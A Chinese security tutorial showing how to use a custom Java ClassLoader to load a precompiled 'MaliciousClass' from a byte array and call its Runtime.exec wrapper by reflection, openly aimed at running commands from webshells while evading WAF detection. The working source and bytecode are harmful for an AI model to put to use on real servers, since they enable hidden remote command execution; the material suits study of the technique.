0x01 前言

利用这个ClassLoader我们就可以尝试写自己的类加载器来实现加载自定义的字节码。

而在实战环境中可以利用自定义类加载器在webshell中实现加载并调用自己编译好的恶意类对象,比如通过本地调用自定义类字节码,最终达到调用java.lang.Runtimeexec 方法执行本地命令绕过waf的检测。

  1. # 目录结构
  2. ├── ClassLoader
  3. └── CustomClassLoaderAddClassFile
  4. ├── Test2.java (用来做测试的方法)
  5. ├── MaliciousClass.class (一个编译好的恶意类文件,用来被获取字节码用的)

0x02 本地whoami

image.png

0x03 MaliciousClass (用来被获取字节码用的)

  1. // 未编译前的源码
  2. package ClassLoader.CustomClassLoaderAddClassFile;
  3. import org.apache.commons.io.IOUtils;
  4. public class MaliciousClass {
  5. public String exec(String cmd) {
  6. String results = null;
  7. try {
  8. results = IOUtils.toString(
  9. Runtime.getRuntime().exec(cmd).getInputStream(),
  10. "UTF-8");
  11. } catch (Exception e) {
  12. e.printStackTrace();
  13. }
  14. return results;
  15. }
  16. }

编译后的
MaliciousClass.class.zip

0x04 获取 MaliciousClass类字节码

请查看上一篇文章:https://www.yuque.com/pmiaowu/gpy1q8/wdg6lu
这里有详细介绍

0x05 例子-调用MaliciousClass类执行命令

  1. // 例子: 使用MaliciousClass类的字节码进行实例化并反射调用exec方法
  2. package ClassLoader.CustomClassLoaderAddClassFile;
  3. import java.lang.reflect.Method;
  4. public class Test2 {
  5. public static void main(String[] args) {
  6. // loadClassName = MaliciousClass.class类,源码里面写的 package路径+被调用类的类名称
  7. String loadClassName = "ClassLoader.CustomClassLoaderAddClassFile.MaliciousClass";
  8. // loadClassName.class类的字节码
  9. byte[] classBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 56, 10, 0, 10, 0, 31, 10, 0, 32, 0, 33, 10, 0, 32, 0, 34, 10, 0, 35, 0, 36, 8, 0, 37, 10, 0, 38, 0, 39, 7, 0, 40, 10, 0, 7, 0, 41, 7, 0, 42, 7, 0, 43, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 58, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 67, 117, 115, 116, 111, 109, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 65, 100, 100, 67, 108, 97, 115, 115, 70, 105, 108, 101, 47, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 7, 114, 101, 115, 117, 108, 116, 115, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 42, 7, 0, 44, 7, 0, 40, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 46, 106, 97, 118, 97, 12, 0, 11, 0, 12, 7, 0, 45, 12, 0, 46, 0, 47, 12, 0, 18, 0, 48, 7, 0, 49, 12, 0, 50, 0, 51, 1, 0, 5, 85, 84, 70, 45, 56, 7, 0, 52, 12, 0, 53, 0, 54, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 55, 0, 12, 1, 0, 56, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 67, 117, 115, 116, 111, 109, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 65, 100, 100, 67, 108, 97, 115, 115, 70, 105, 108, 101, 47, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 29, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 110, 115, 47, 105, 111, 47, 73, 79, 85, 116, 105, 108, 115, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 59, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 0, 33, 0, 9, 0, 10, 0, 0, 0, 0, 0, 2, 0, 1, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 14, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 15, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 16, 0, 17, 0, 0, 0, 1, 0, 18, 0, 19, 0, 1, 0, 13, 0, 0, 0, -96, 0, 2, 0, 4, 0, 0, 0, 28, 1, 77, -72, 0, 2, 43, -74, 0, 3, -74, 0, 4, 18, 5, -72, 0, 6, 77, -89, 0, 8, 78, 45, -74, 0, 8, 44, -80, 0, 1, 0, 2, 0, 18, 0, 21, 0, 7, 0, 3, 0, 14, 0, 0, 0, 30, 0, 7, 0, 0, 0, 7, 0, 2, 0, 10, 0, 14, 0, 9, 0, 18, 0, 14, 0, 21, 0, 12, 0, 22, 0, 13, 0, 26, 0, 15, 0, 15, 0, 0, 0, 42, 0, 4, 0, 22, 0, 4, 0, 20, 0, 21, 0, 3, 0, 0, 0, 28, 0, 16, 0, 17, 0, 0, 0, 0, 0, 28, 0, 22, 0, 23, 0, 1, 0, 2, 0, 26, 0, 24, 0, 23, 0, 2, 0, 25, 0, 0, 0, 22, 0, 2, -1, 0, 21, 0, 3, 7, 0, 26, 7, 0, 27, 7, 0, 27, 0, 1, 7, 0, 28, 4, 0, 1, 0, 29, 0, 0, 0, 2, 0, 30};
  10. ByteClassLoader loader = new ByteClassLoader(loadClassName, classBytes);
  11. try {
  12. // 加载类
  13. Class testClass = loader.loadClass(loadClassName);
  14. // 实例化
  15. Object testInstance = testClass.newInstance();
  16. // 获取exec方法
  17. Method method = testClass.getMethod("exec", String.class);
  18. // 调用exec方法
  19. String results = (String) method.invoke(testInstance,"whoami");
  20. System.out.println(results);
  21. } catch (Exception e) {
  22. e.printStackTrace();
  23. }
  24. }
  25. }
  26. // 运行结果
  27. pmiaowu